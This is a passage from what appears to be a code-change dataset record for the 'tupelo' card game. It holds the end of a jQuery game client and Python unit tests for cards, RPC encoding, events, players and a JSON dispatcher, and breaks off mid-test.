$(\"#debug\").html(JSON.stringify(tupelo));\n    };\n    ajaxErr = function(xhr, astatus, error) {\n      var handled, jsonErr;\n      handled = false;\n      if (xhr.status === 403) {\n        jsonErr = eval(\"(\" + xhr.responseText + \")\");\n        if (jsonErr.message != null) {\n          window.alert(jsonErr.message);\n          handled = true;\n        }\n      } else {\n        T.log(\"status: \" + astatus);\n        T.log(\"error: \" + error);\n      }\n      return handled;\n    };\n    hello = function() {\n      return $.ajax({\n        url: \"/ajax/hello\",\n        success: function(result) {\n          T.log(\"Server version: \" + result.version);\n          if (result.player != null) {\n            tupelo.player = new T.Player(result.player.player_name);\n            registerOk(result.player);\n            if (result.player.game_id != null) {\n              return gameCreateOk(result.player.game_id);\n            }\n          }\n        },\n        error: ajaxErr\n      });\n    };\n    updateGameLinks = function(disabledIds) {\n      var gameJoinClicked, id, _i, _len;\n      gameJoinClicked = function(event) {\n        var game_id;\n        game_id = this.id.slice(10);\n        T.log(\"joining game \" + game_id);\n        return $.ajax({\n          url: \"/ajax/game/enter\",\n          data: {\n            akey: tupelo.player.akey,\n            game_id: game_id\n          },\n          success: gameCreateOk,\n          error: ajaxErr\n        });\n      };\n      if (tupelo.game_id != null) {\n        $(\"button.game_join\").attr(\"disabled\", true);\n        return $(\"tr#game_id_\" + tupelo.game_id).addClass(\"highlight\");\n      } else {\n        for (_i = 0, _len = disabledIds.length; _i < _len; _i++) {\n          id = disabledIds[_i];\n          $(\"button#\" + id).attr(\"disabled\", true);\n        }\n        return $(\"button.game_join\").click(gameJoinClicked);\n      }\n    };\n    listGamesOk = function(result) {\n      var disabledIds, game_id, html, players, res;\n      html = \"\";\n      disabledIds = [];\n      for (game_id in result) {\n        if (!__hasProp.call(result, game_id)) continue;\n        html += \"<tr id=\\\"game_id_\" + game_id + \"\\\">\";\n        players = (function() {\n          var _i, _len, _ref, _results;\n          _ref = result[game_id];\n          _results = [];\n          for (_i = 0, _len = _ref.length; _i < _len; _i++) {\n            res = _ref[_i];\n            _results.push(new T.Player().fromObj(res).player_name);\n          }\n          return _results;\n        })();\n        html += \"<td>\" + escapeHtml(players.join(\", \")) + \"</td>\";\n        html += \"<td class=\\\"game_list_actions\\\"><button class=\\\"game_join btn\\\" id=\\\"game_join_\" + game_id + \"\\\"><span><span>join</span></span></button></td>\";\n        html += \"</tr>\";\n        if (players.length === 4) disabledIds.push(\"game_join_\" + game_id);\n      }\n      $(\"#game_list table tbody\").html(html);\n      updateGameLinks(disabledIds);\n      return dbg();\n    };\n    listPlayersOk = function(result) {\n      var cls, html, player, plr;\n      T.log(result);\n      html = \"\";\n      for (player in result) {\n        if (!__hasProp.call(result, player)) continue;\n        plr = new T.Player().fromObj(result[player]);\n        if (plr.id !== tupelo.player.id) {\n          cls = plr.game_id != null ? \"class=\\\"in_game\\\" \" : \"\";\n          html += (\"<tr \" + cls + \"id=\\\"player_id_\") + plr.id + \"\\\">\";\n          html += \"<td>\" + escapeHtml(plr.player_name) + \"</td></tr>\";\n        }\n      }\n      $(\"#player_list table tbody\").html(html);\n      return dbg();\n    };\n    registerOk = function(result) {\n      $(\"#name\").val(\"\");\n      tupelo.player.id = result.id;\n      tupelo.player.akey = result.akey;\n      $.cookie(\"akey\", result.akey);\n      T.log(tupelo);\n      dbg();\n      $(\"#game_list table tbody\").html(\"\");\n      $(\".my_name\").html(escapeHtml(tupelo.player.player_name));\n      updateLists();\n      setState(\"registered\", \"fast\");\n      return T.log(\"timer created\");\n    };\n    leftGame = function() {\n      if (tupelo.event_fetch_timer != null) {\n        tupelo.event_fetch_timer.disable();\n        tupelo.event_fetch_timer = null;\n      }\n      if (tupelo.event_timer != null) {\n        clearTimeout(tupelo.event_timer);\n        tupelo.event_timer = null;\n      }\n      tupelo.game_id = null;\n      tupelo.game_state = {};\n      tupelo.hand = null;\n      tupelo.my_turn = null;\n    };\n    leaveOk = function(result) {\n      leftGame();\n      dbg();\n      updateLists();\n      return setState(\"registered\", \"fast\");\n    };\n    quitOk = function(result) {\n      leftGame();\n      if (tupelo.list_timer != null) {\n        clearInterval(tupelo.list_timer);\n        tupelo.list_timer = null;\n      }\n      $.cookie(\"akey\", null);\n      tupelo.player = null;\n      T.log(tupelo);\n      dbg();\n      return setState(\"initial\", \"fast\");\n    };\n    gameCreateOk = function(result) {\n      tupelo.game_id = result;\n      T.log(tupelo);\n      dbg();\n      $(\"p#joined_game\").html(\"joined game \" + tupelo.game_id);\n      setState(\"gameCreated\", \"fast\");\n      tupelo.event_fetch_timer = new T.Timer(\"/ajax/get_events\", 2000, eventsOk, {\n        data: {\n          akey: tupelo.player.akey\n        }\n      });\n      return updateLists();\n    };\n    cardPlayed = function(event) {\n      var card, table;\n      T.log(\"cardPlayed\");\n      table = $(\"#player_\" + event.player.id + \" .table\");\n      if (table.length === 0) {\n        T.log(\"player not found!\");\n        return true;\n      }\n      card = new T.Card(event.card.suit, event.card.value);\n      table.html(\"<span style=\\\"display: none;\\\" class=\\\"card\\\">\" + card.toShortHtml() + \"</span>\");\n      table.children().show(500);\n      setTimeout(processEvent, 500);\n      return false;\n    };\n    messageReceived = function(event) {\n      var eventLog;\n      T.log(\"messageReceived\");\n      eventLog = $(\"#event_log\");\n      eventLog.append(escapeHtml(event.sender) + \": \" + escapeHtml(event.message) + \"\\n\");\n      eventLog.scrollTop(eventLog[0].scrollHeight - eventLog.height());\n      return true;\n    };\n    clearTable = function() {\n      clearTimeout(tupelo.clear_timeout);\n      T.log(\"clearing table\");\n      $(\"#game_area .table\").html(\"\");\n      $(\"#game_area table tbody\").unbind(\"click\");\n      return tupelo.event_timer = setTimeout(processEvent, 0);\n    };\n    trickPlayed = function(event) {\n      T.log(\"trickPlayed\");\n      $(\"#game_area table tbody\").click(clearTable);\n      tupelo.clear_timeout = setTimeout(clearTable, 5000);\n      return false;\n    };\n    getTeamPlayers = function(team) {\n      return [$(\"#table_\" + team + \" .player_name\").html(), $(\"#table_\" + (team + 2) + \" .player_name\").html()];\n    };\n    updateGameState = function(state) {\n      var key, statusStr;\n      statusStr = \"\";\n      for (key in state) {\n        if (!__hasProp.call(state, key)) continue;\n        tupelo.game_state[key] = state[key];\n      }\n      if (state.state === T.VOTING) {\n        statusStr = \"VOTING\";\n      } else if (state.state === T.ONGOING) {\n        if (state.mode === T.NOLO) {\n          statusStr = \"NOLO\";\n        } else {\n          if (state.mode === T.RAMI) statusStr = \"RAMI\";\n        }\n      }\n      statusStr = \"<span>\" + statusStr + \"</span>\";\n      statusStr += \"<span>tricks: \" + state.tricks[0] + \" - \" + state.tricks[1] + \"</span>\";\n      if (state.score != null) {\n        if (state.score[0] > 0) {\n          statusStr += \"<span>score: \" + escapeHtml(getTeamPlayers(0).join(\" &amp; \")) + \": \" + state.score[0] + \"</span>\";\n        } else if (state.score[1] > 0) {\n          statusStr += \"<span>score: \" + escapeHtml(getTeamPlayers(1).join(\" &amp; \")) + \": \" + state.score[1] + \"</span>\";\n        } else {\n          statusStr += \"<span>score: 0</span>\";\n        }\n      }\n      $(\"#game_status\").html(statusStr);\n      if (state.turn_id != null) {\n        $(\".player_data .player_name\").removeClass(\"highlight_player\");\n        $(\"#player_\" + state.turn_id + \" .player_name\").addClass(\"highlight_player\");\n      }\n      return dbg();\n    };\n    cardClicked = function(event) {\n      var card, cardId;\n      cardId = $(this).find(\".card\").attr(\"id\").slice(5);\n      card = tupelo.hand[cardId];\n      T.log(card);\n      if (card != null) {\n        $.ajax({\n          url: \"/ajax/game/play_card\",\n          success: function(result) {\n            tupelo.my_turn = false;\n            $(\"#hand .card\").removeClass(\"card_selectable\");\n            return getGameState();\n          },\n          error: function(xhr, astatus, error) {\n            if (ajaxErr(xhr, astatus, error) !== true) {\n              return window.alert(xhr.status + \" \" + error);\n            }\n          },\n          data: {\n            akey: tupelo.player.akey,\n            game_id: tupelo.game_id,\n            card: JSON.stringify(card)\n          }\n        });\n      }\n      return event.preventDefault();\n    };\n    updateHand = function(newHand) {\n      var card, hand, html, i, item, _len;\n      html = \"\";\n      hand = [];\n      for (i = 0, _len = newHand.length; i < _len; i++) {\n        item = newHand[i];\n        card = new T.Card(item.suit, item.value);\n        hand.push(card);\n        if (tupelo.my_turn) html += \"<a class=\\\"selectable\\\" href=\\\"#\\\">\";\n        html += (\"<span class=\\\"card\\\" id=\\\"card_\" + i + \"\\\">\") + card.toShortHtml() + \"</span>\";\n        if (tupelo.my_turn) html += \"</a>\";\n      }\n      tupelo.hand = hand;\n      $(\"#hand\").html(html);\n      if (tupelo.my_turn) {\n        $(\"#hand .card\").addClass(\"card_selectable\");\n        return $(\"#hand a\").click(cardClicked);\n      }\n    };\n    getGameState = function() {\n      return $.ajax({\n        url: \"/ajax/game/get_state\",\n        success: function(result) {\n          T.log(result);\n          if (result.game_state != null) updateGameState(result.game_state);\n          if (result.hand != null) return updateHand(result.hand);\n        },\n        error: ajaxErr,\n        data: {\n          akey: tupelo.player.akey,\n          game_id: tupelo.game_id\n        }\n      });\n    };\n    turnEvent = function(event) {\n      T.log(\"turnEvent\");\n      tupelo.my_turn = true;\n      getGameState();\n      return true;\n    };\n    stateChanged = function(event) {\n      T.log(\"stateChanged\");\n      if (event.game_state.state === T.VOTING) {\n        startOk();\n      } else if (event.game_state.state === T.ONGOING) {\n        $(\"#game_area table tbody\").click(clearTable);\n        tupelo.clear_timeout = setTimeout(clearTable, 5000);\n        return false;\n      }\n      return true;\n    };\n    processEvent = function() {\n      var event, handled;\n      handled = true;\n      if (tupelo.events.length === 0) {\n        T.log(\"no events to process\");\n        tupelo.event_timer = null;\n        return;\n      }\n      event = tupelo.events.shift();\n      if (event.game_state != null) updateGameState(event.game_state);\n      switch (event.type) {\n        case 1:\n          handled = cardPlayed(event);\n          break;\n        case 2:\n          handled = messageReceived(event);\n          break;\n        case 3:\n          handled = trickPlayed(event);\n          break;\n        case 4:\n          handled = turnEvent(event);\n          break;\n        case 5:\n          handled = stateChanged(event);\n          break;\n        default:\n          T.log(\"unknown event \" + event.type);\n      }\n      if (handled === true) {\n        return tupelo.event_timer = setTimeout(processEvent, 0);\n      }\n    };\n    eventsOk = function(result) {\n      /*\n          if (result.length > 0)\n            eventLog = $(\"#event_log\")\n            eventLog.append(JSON.stringify(result) + \"\\n\")\n            eventLog.scrollTop(eventLog[0].scrollHeight - eventLog.height())\n      */\n      var event, _i, _len;\n      for (_i = 0, _len = result.length; _i < _len; _i++) {\n        event = result[_i];\n        tupelo.events.push(event);\n      }\n      if (tupelo.events.length > 0 && !(tupelo.event_timer != null)) {\n        tupelo.event_timer = setTimeout(processEvent, 0);\n      }\n      return dbg();\n    };\n    gameInfoOk = function(result) {\n      var i, index, myIndex, pl, _len, _len2;\n      T.log(\"gameInfoOk\");\n      T.log(result);\n      myIndex = 0;\n      for (i = 0, _len = result.length; i < _len; i++) {\n        pl = result[i];\n        if (pl.id === tupelo.player.id) {\n          myIndex = i;\n          break;\n        }\n      }\n      for (i = 0, _len2 = result.length; i < _len2; i++) {\n        pl = result[i];\n        index = (4 + i - myIndex) % 4;\n        $(\"#table_\" + index + \" .player_data\").attr(\"id\", \"player_\" + pl.id);\n        $(\"#player_\" + pl.id + \" .player_name\").html(escapeHtml(pl.player_name));\n      }\n    };\n    startOk = function(result) {\n      if (tupelo.list_timer != null) {\n        clearInterval(tupelo.list_timer);\n        tupelo.list_timer = null;\n      }\n      $(\"#event_log\").html(\"\");\n      setState(\"inGame\");\n      $.ajax({\n        url: \"/ajax/game/get_info\",\n        success: gameInfoOk,\n        error: ajaxErr,\n        data: {\n          game_id: tupelo.game_id\n        }\n      });\n      getGameState();\n      return dbg();\n    };\n    updateLists = function() {\n      $.ajax({\n        url: \"/ajax/game/list\",\n        success: listGamesOk,\n        error: ajaxErr\n      });\n      return $.ajax({\n        url: \"/ajax/player/list\",\n        success: listPlayersOk,\n        error: ajaxErr,\n        data: {\n          akey: tupelo.player.akey\n        }\n      });\n    };\n    $(\"#echo_ajax\").click(function() {\n      var text;\n      text = $(\"#echo\").val();\n      return $.ajax({\n        url: \"/ajax/echo\",\n        data: {\n          test: text\n        },\n        success: function(result) {\n          $(\"#echo_result\").html(escapeHtml(result));\n          return $(\"#echo\").val(\"\");\n        },\n        error: ajaxErr\n      });\n    });\n    $(\"#register_btn\").click(function() {\n      var input, name;\n      input = $(\"#register_name\");\n      name = input.val();\n      if (!name || input.hasClass(\"initial\")) {\n        alert(\"Please enter your name first\");\n        return;\n      }\n      tupelo.player = new T.Player(name);\n      T.log(tupelo);\n      return $.ajax({\n        url: \"/ajax/player/register\",\n        data: {\n          player: JSON.stringify(tupelo.player)\n        },\n        success: registerOk,\n        error: ajaxErr\n      });\n    });\n    $(\"#register_name\").keyup(function(event) {\n      if ((event.keyCode || event.which) === 13) return $(\"#register_btn\").click();\n    });\n    $(\"#register_name\").focus(function(event) {\n      if ($(this).hasClass(\"initial\")) {\n        $(this).val(\"\");\n        return $(this).removeClass(\"initial\");\n      }\n    });\n    $(\"#quit_btn\").click(function() {\n      return $.ajax({\n        url: \"/ajax/player/quit\",\n        data: {\n          akey: tupelo.player.akey\n        },\n        success: quitOk,\n        error: function(xhr, astatus, error) {\n          if (ajaxErr(xhr, astatus, error) === true) return quitOk();\n        }\n      });\n    });\n    $(\".game_leave_btn\").click(function() {\n      return $.ajax({\n        url: \"/ajax/game/leave\",\n        data: {\n          akey: tupelo.player.akey,\n          game_id: tupelo.game_id\n        },\n        success: leaveOk,\n        error: function(xhr, astatus, error) {\n          if (ajaxErr(xhr, astatus, error) === true) return leaveOk();\n        }\n      });\n    });\n    $(\"#game_create_btn\").click(function() {\n      return $.ajax({\n        url: \"/ajax/game/create\",\n        data: {\n          akey: tupelo.player.akey\n        },\n        success: gameCreateOk,\n        error: ajaxErr\n      });\n    });\n    $(\"#game_start\").click(function() {\n      return $.ajax({\n        url: \"/ajax/game/start\",\n        data: {\n          akey: tupelo.player.akey,\n          game_id: tupelo.game_id\n        },\n        success: startOk,\n        error: ajaxErr\n      });\n    });\n    $(\"#game_start_with_bots\").click(function() {\n      return $.ajax({\n        url: \"/ajax/game/start_with_bots\",\n        data: {\n          akey: tupelo.player.akey,\n          game_id: tupelo.game_id\n        },\n        success: startOk,\n        error: ajaxErr\n      });\n    });\n    if (T.debug === true) {\n      $(\"#debug\").click(function() {\n        return $(this).toggle();\n      });\n    } else {\n      $(\"#debug\").hide();\n    }\n    $(window).unload(function() {\n      if (tupelo.game_id != null) {\n        return $.ajax({\n          url: \"/ajax/game/leave\",\n          async: false,\n          data: {\n            akey: tupelo.player.akey,\n            game_id: tupelo.game_id\n          }\n        });\n      }\n    });\n    window.onbeforeunload = function(e) {\n      var msg;\n      if (!(tupelo.game_id != null)) return undefined;\n      e = e || window.event;\n      msg = \"By leaving the page you will also leave the game.\";\n      if (e) e.returnValue = msg;\n      return msg;\n    };\n    hello();\n    return setState(\"initial\");\n  });\n\n}).call(this);\n"}, "files_after": {"tests/test_common.py": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# vim: set sts=4 sw=4 et:\n\nimport unittest\nfrom tupelo import rpc\nfrom tupelo import common\nfrom tupelo.common import Card, CardSet\nimport threading\nimport copy\nimport time\n\nclass SyncTester(object):\n\n    def __init__(self):\n        self.lock = threading.Lock()\n        self.counter = 0\n\n    @common.synchronized_method('lock')\n    def sync(self):\n        assert self.counter == 0, 'oops, @synchronized_method did not work. '\\\n            'counter is %d' % self.counter\n        self.counter += 1\n        time.sleep(1)\n        assert self.counter == 1, 'oops, @synchronized_method did not work. '\\\n            'counter is %d' % self.counter\n        time.sleep(1)\n        self.counter -= 1\n        assert self.counter == 0, 'oops, @synchronized_method did not work. '\\\n            'counter is %d' % self.counter\n        return True\n\n\nclass TestCommon(unittest.TestCase):\n\n    def testSuitGlobals(self):\n        self.assertTrue(common.HEART > common.CLUB)\n        self.assertTrue(common.CLUB > common.DIAMOND)\n        self.assertTrue(common.DIAMOND > common.SPADE)\n\n    def testSuitRPC(self):\n        heart = common.HEART\n        encoded = rpc.rpc_encode(heart)\n        self.assertEqual(encoded, 3)\n        decoded = rpc.rpc_decode(common.Suit, encoded)\n        self.assertTrue(isinstance(decoded, common.Suit))\n        self.assertEqual(heart.value, decoded.value)\n        self.assertEqual(heart.name, decoded.name)\n\n    def testCardRPC(self):\n        card = Card(common.HEART, 5)\n        encoded = rpc.rpc_encode(card)\n        self.assertEqual(encoded, {'suit': 3, 'value': 5})\n        self.assertFalse(isinstance(encoded, common.Card))\n        decoded = rpc.rpc_decode(common.Card, encoded)\n        self.assertTrue(isinstance(decoded, common.Card))\n        self.assertEqual(card, decoded)\n\n    def testCardSet(self):\n        deck = CardSet.new_full_deck()\n        self.assertTrue(len(deck) == 52)\n        for suit in common.ALL_SUITS:\n            cards = deck.get_cards(suit=common.HEART)\n            self.assertTrue(len(cards) == 13)\n\n        for i in range(2, 15):\n            cards = deck.get_cards(value=i)\n            self.assertTrue(len(cards) == 4)\n\n        deck.clear()\n        self.assertTrue(len(deck) == 0)\n\n    def testCardSetHighest(self):\n        cs = CardSet()\n        cs.append(Card(common.HEART, 5))\n        cs.append(Card(common.HEART, 7))\n        cs.append(Card(common.HEART, 11))\n        hi = cs.get_highest()\n        self.assertEqual(hi.value, 11)\n        hi = cs.get_highest(roof=9)\n        self.assertEqual(hi.value, 7)\n        hi = cs.get_highest(roof=7)\n        self.assertEqual(hi.value, 7)\n        hi = cs.get_highest(roof=2)\n        self.assertTrue(hi is None)\n        hi = cs.get_highest(floor=12)\n        self.assertTrue(hi is None)\n\n    def testCardSetLowest(self):\n        cs = CardSet()\n        cs.append(Card(common.HEART, 5))\n        cs.append(Card(common.HEART, 7))\n        cs.append(Card(common.HEART, 11))\n        lo = cs.get_lowest()\n        self.assertEqual(lo.value, 5)\n        lo = cs.get_lowest(floor=9)\n        self.assertEqual(lo.value, 11)\n        lo = cs.get_lowest(floor=7)\n        self.assertEqual(lo.value, 7)\n        lo = cs.get_lowest(floor=12)\n        self.assertTrue(lo is None)\n        lo = cs.get_lowest(roof=2)\n        self.assertTrue(lo is None)\n\n    def testCardSetSort(self):\n        cs = CardSet()\n        cs.append(Card(common.HEART, 7))\n        cs.append(Card(common.SPADE, 7))\n        cs.append(Card(common.HEART, 5))\n        cs.sort()\n        sorted_cs = CardSet()\n        sorted_cs.append(Card(common.SPADE, 7))\n        sorted_cs.append(Card(common.HEART, 5))\n        sorted_cs.append(Card(common.HEART, 7))\n        self.assertEqual(cs, sorted_cs)\n\n    def testGameStateRPC(self):\n        gs = common.GameState()\n        gs.table.append(Card(common.HEART, 5))\n        encoded = rpc.rpc_encode(gs)\n        gs2 = rpc.rpc_decode(common.GameState, encoded)\n        self.assertTrue(isinstance(gs2, common.GameState))\n        self.assertTrue(isinstance(gs2.table, gs.table.__class__))\n        self.assertEqual(len(gs2.table), len(gs.table))\n        self.assertEqual(gs2.table, gs.table)\n\n    def testShortUUID(self):\n        suuid = common.short_uuid()\n        self.assertTrue(isinstance(suuid, str))\n        suuid2 = common.short_uuid()\n        self.assertNotEqual(suuid, suuid2)\n\n    def testSynchronizedMethod(self):\n        synctester = SyncTester()\n        def _runner():\n            synctester.sync()\n\n        threads = []\n        for i in range(4):\n            thread = threading.Thread(None, _runner)\n            threads.append(thread)\n            thread.start()\n\n        for thread in threads:\n            thread.join(5.0)\n\nif __name__ == '__main__':\n    unittest.main()\n", "tests/test_events.py": "#!/usr/bin/env python\n# vim: set sts=4 sw=4 et:\n\nimport unittest\nfrom tupelo import events\nfrom tupelo import rpc\nfrom tupelo import common\nfrom tupelo import players\n\nclass TestEventsRPC(unittest.TestCase):\n\n    def testEvent(self, cls=None):\n        cls = events.Event\n        e = cls()\n        e2 = rpc.rpc_decode(events.Event, rpc.rpc_encode(e))\n        self.assertTrue(isinstance(e2, cls))\n        self.assertEqual(e.type, e2.type)\n\n    def testCardPlayedEmpty(self):\n        cls = events.CardPlayedEvent\n        e = cls()\n        e2 = rpc.rpc_decode(events.Event, rpc.rpc_encode(e))\n        self.assertTrue(isinstance(e2, cls))\n        self.assertEqual(e.type, e2.type)\n\n    def testCardPlayed(self):\n        cls = events.CardPlayedEvent\n        plr = players.Player('Seppo')\n        card = common.Card(common.HEART, 5)\n        e = cls(plr, card)\n        e2 = rpc.rpc_decode(events.Event, rpc.rpc_encode(e))\n        self.assertTrue(isinstance(e2, cls))\n        self.assertEqual(e.type, e2.type)\n        self.assertEqual(e.player.player_name, e2.player.player_name)\n        self.assertEqual(e.card, e2.card)\n        self.assertEqual(e2.game_state, None)\n\n    def testMessageEmpty(self):\n        cls = events.MessageEvent\n        e = cls()\n        e2 = rpc.rpc_decode(events.Event, rpc.rpc_encode(e))\n        self.assertTrue(isinstance(e2, cls))\n        self.assertEqual(e.type, e2.type)\n\n    def testMessage(self):\n        e = events.MessageEvent('from', 'lorem ipsum')\n        e2 = rpc.rpc_decode(events.Event, rpc.rpc_encode(e))\n        self.assertTrue(isinstance(e2, events.MessageEvent))\n        self.assertEqual(e.type, e2.type)\n        self.assertEqual(e.sender, e2.sender)\n        self.assertEqual(e.message, e2.message)\n\n    def testStateChanged(self):\n        cls = events.StateChangedEvent\n        game_state = common.GameState()\n        game_state.status = common.GameState.VOTING\n        e = cls(game_state)\n        self.assertTrue(e.game_state is not None)\n        e2 = rpc.rpc_decode(events.Event, rpc.rpc_encode(e))\n        self.assertTrue(isinstance(e2, cls))\n        self.assertEqual(e.type, e2.type)\n        self.assertEqual(e.game_state, e2.game_state)\n\n    def testEventListEmpty(self):\n        el = events.EventList()\n        self.assertEqual(len(el), 0)\n        el2 = rpc.rpc_decode(events.EventList, rpc.rpc_encode(el))\n        self.assertTrue(isinstance(el2, events.EventList))\n        self.assertEqual(len(el2), 0)\n\n    def testEventList(self):\n        el = events.EventList()\n        el.append(events.MessageEvent('a', 'b'))\n        el.append(events.MessageEvent('c', 'd'))\n        num = len(el)\n        self.assertEqual(num, 2)\n        el2 = rpc.rpc_decode(events.EventList, rpc.rpc_encode(el))\n        self.assertTrue(isinstance(el2, events.EventList))\n        self.assertEqual(len(el2), num)\n        for i in range(0, num):\n            self.assertEqual(el[i], el2[i])\n\n\nif __name__ == '__main__':\n    unittest.main()\n", "tests/test_players.py": "#!/usr/bin/env python\n# vim: set sts=4 sw=4 et:\n\nimport unittest\nimport time\nfrom tupelo import players\nfrom tupelo.common import GameState\n\nclass TestPlayers(unittest.TestCase):\n\n    def testThreadedPlayer(self):\n        plr = players.ThreadedPlayer('Seppo')\n        plr.start()\n        self.assertTrue(plr.is_alive())\n        plr.game_state.status = GameState.STOPPED\n        plr.act(None, None)\n        plr.join(5.0) # wait until the thread quits\n        self.assertFalse(plr.is_alive())\n\n    def testThreadedPlayerStop(self):\n        plr = players.ThreadedPlayer('Seppo')\n        plr.start()\n        time.sleep(0.5)\n        self.assertTrue(plr.is_alive())\n        plr.stop()\n        plr.join(5.0) # wait until the thread quits\n        self.assertFalse(plr.is_alive())\n\n    def testThreadedPlayerRestart(self):\n        plr = players.ThreadedPlayer('Seppo')\n        plr.start()\n        time.sleep(0.5)\n        self.assertTrue(plr.is_alive())\n        # trying to start again while running should raise an exception\n        self.assertRaises(RuntimeError, plr.start)\n        plr.stop()\n        plr.join(5.0) # wait until the thread quits\n        self.assertFalse(plr.is_alive())\n        # restart\n        plr.start()\n        time.sleep(0.5)\n        self.assertTrue(plr.is_alive())\n        plr.stop()\n        plr.join(5.0) # wait until the thread quits\n        self.assertFalse(plr.is_alive())\n\n\nif __name__ == '__main__':\n    unittest.main()\n", "tests/test_rpc.py": "#!/usr/bin/env python\n# vim: set sts=4 sw=4 et:\n\nimport unittest\nfrom tupelo import rpc\n\nclass _RPCTestClass(rpc.RPCSerializable):\n    rpc_attrs = ('a', 'b')\n    a = 1\n    b = '2'\n\nclass _CustomClass(object):\n    def rpc_encode(self):\n        return 'hilipati'\n\n    @classmethod\n    def rpc_decode(cls, _rpcobj):\n        return 'joop'\n\nclass TestRPC(unittest.TestCase):\n\n    def testSerializeSimple(self):\n        testobj = _RPCTestClass()\n        encoded = rpc.rpc_encode(testobj)\n        self.assertEqual(encoded, {'a':1, 'b':'2'})\n        # change something\n        encoded['a'] = 2\n        decoded = rpc.rpc_decode(_RPCTestClass, encoded)\n        self.assertTrue(isinstance(decoded, _RPCTestClass))\n        self.assertEqual(decoded.a, 2)\n\n    def testDecodeAttr(self):\n        testobj = _RPCTestClass()\n        encoded = rpc.rpc_encode(testobj)\n        self.assertEqual(encoded, {'a':1, 'b':'2'})\n        decoded = _RPCTestClass()\n        decoded.rpc_decode_attr(encoded, 'b')\n        self.assertEqual(decoded.b, '2')\n\n    def testSerializableEqual(self):\n        testobj1 = _RPCTestClass()\n        testobj2 = _RPCTestClass()\n        self.assertEqual(testobj1, testobj2)\n        self.assertFalse(testobj1 != testobj2)\n        decoded1 = rpc.rpc_decode(_RPCTestClass, rpc.rpc_encode(testobj1))\n        decoded2 = rpc.rpc_decode(_RPCTestClass, rpc.rpc_encode(testobj2))\n        self.assertEqual(decoded1, decoded2)\n        self.assertFalse(decoded1 != decoded2)\n\n    def testSerializableEqualWrongType(self):\n        testobj1 = _RPCTestClass()\n        self.assertNotEqual(testobj1, [])\n        self.assertTrue(testobj1 != [])\n        self.assertNotEqual(testobj1, 'wrong type')\n        self.assertNotEqual(testobj1, None)\n\n    def testSerializableNotEqual(self):\n        testobj1 = _RPCTestClass()\n        testobj2 = _RPCTestClass()\n        testobj2.a = 0\n        self.assertNotEqual(testobj1, testobj2)\n        self.assertFalse(testobj1 == testobj2)\n        decoded1 = rpc.rpc_decode(_RPCTestClass, rpc.rpc_encode(testobj1))\n        decoded2 = rpc.rpc_decode(_RPCTestClass, rpc.rpc_encode(testobj2))\n        self.assertNotEqual(decoded1, decoded2)\n        self.assertFalse(decoded1 == decoded2)\n\n    def testSerializeCustom(self):\n        testobj = _CustomClass()\n        encoded = rpc.rpc_encode(testobj)\n        self.assertEqual(encoded, 'hilipati')\n        decoded = rpc.rpc_decode(_CustomClass, encoded)\n        self.assertEqual(decoded, 'joop')\n\n\nif __name__ == '__main__':\n    unittest.main()\n", "tests/test_server.py": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# vim: set sts=4 sw=4 et:\n\nimport unittest\nfrom tupelo import rpc\nfrom tupelo.server import TupeloRPCInterface as I\nfrom tupelo.server.jsonapi import TupeloJSONDispatcher as D\nfrom tupelo.players import Player\n\nclass TestTupeloJSONDispatcher(unittest.TestCase):\n\n    def testPath2Method(self):\n        d = D()\n        self.assertEqual(d.json_path_prefix, '/api/') # default\n\n        d.json_path_prefix = '/a/'\n        self.assertEqual(d.path2method('/a/hello'), 'hello')\n        self.assertEqual(d.path2method('/a/hello/again'), 'hello_again')\n        self.assertEqual(d.path2method('/a/hello_again'), 'hello_again')\n        self.assertEqual(d.path2method('/hello/again'), None)\n\n        d.json_path_prefix = None\n        self.assertEqual(d.path2method('/hello'), 'hello')\n        self.assertEqual(d.path2method('hello'), 'hello')\n        self.assertEqual(d.path2method('/hello/there'), 'hello_there')\n        self.assertEqual(d.path2method('hello/again'), 'hello_again')\n\n    def testParseQString(self):\n        d = D()\n        d.json_path_prefix = None\n        f = d._json_parse_qstring\n        self.assertEqual(f('/hello'), ('hello', {}))\n        self.assertEqual(f('h?foo=bar'), ('h', {'foo': 'bar'}))\n        self.assertEqual(f('h?foo=\"bar\"'), ('h', {'foo': 'bar'}))\n        self.assertEqual(f('h?a=1&b=3'), ('h', {'a': 1, 'b': 3}))\n        self.assertEqual(f('h?a={\"a\":1, \"b\":[0], \"c\":\"s\"}'), ('h', {'a': {'a':1, 'b':[0], 'c': 's'}}))\n\n    def testDispatch(self):\n        class MockInterface(object):\n            def __init__(self):\n                self.callstack = []\n\n            def _json_dispatch(self, method, params):\n                self.callstack.append((method, params))\n\n        mock = MockInterface()\n        d = D()\n        d.json_path_prefix = '/a/'\n        d.register_instance(mock)\n        d.json_dispatch('/a/hello', {})\n        self.assertEqual(mock.callstack.pop(), ('hello', {}))\n        d.json_dispatch('/a/h?a=1&b=2', {})\n        self.assertEqual(mock.callstack.pop(), ('h', {'a':1, 'b':2}))\n        d.json_dispatch('/a/h?a=1&b=2', {'Cookie': 'akey=b0_S6cNZRFmejfPXV2q6eA'})\n        self.assertEqual(mock.callstack.pop(), ('h', {'a':1, 'b':2, 'akey': 'b0_S6cNZRFmejfPXV2q6eA'}))\n\n\nclass TestTupeloRPCInterface(unittest.TestCase):\n\n    def _encoded_player(self, name='m\u00f6rk\u00f6'):\n        player = Player(name)\n        encoded = rpc.rpc_encode(player)\n        return encoded\n\n    def testRegisterPlayer(self):\n        iface = I()\n        encoded = self._encoded_player()\n        p_data = iface.player_register(encoded)\n        self.assertTrue(isinstance(p_data['id'], str))\n        self.assertTrue(isinstance(p_data['akey'], str))\n        plr = iface._ensure_auth(p_data['akey'])\n        self.assertEqual(plr.id, p_data['id'])\n        # list players\n        players_raw = iface.player_list(p_data['akey'])\n        self.assertTrue(isinstance(players_raw, list))\n        players = [rpc.rpc_decode(Player, pl) for pl in players_raw]\n        me = None\n        for pl in players:\n            if pl.id == p_data['id']:\n                me = pl\n                break\n        self.assertTrue(me is not None)\n        self.assertEqual(me.player_name, encoded['player_name'])\n        iface._clear_auth()\n\n    def testHelloEmpty(self):\n        iface = I()\n        hello = iface.hello()\n        self.assertTrue(isinstance(hello, dict))\n        self.assertTrue('version' in hello)\n        self.assertTrue(isinstance(hello['version'], str))\n        self.assertFalse('player' in hello)\n        self.assertFalse('game' in hello)\n\n    def testGame(self):\n        iface = I()\n        gamelist = iface.game_list()\n        self.assertTrue(isinstance(gamelist, dict))\n        self.assertEqual(len(gamelist), 0)\n        # register\n        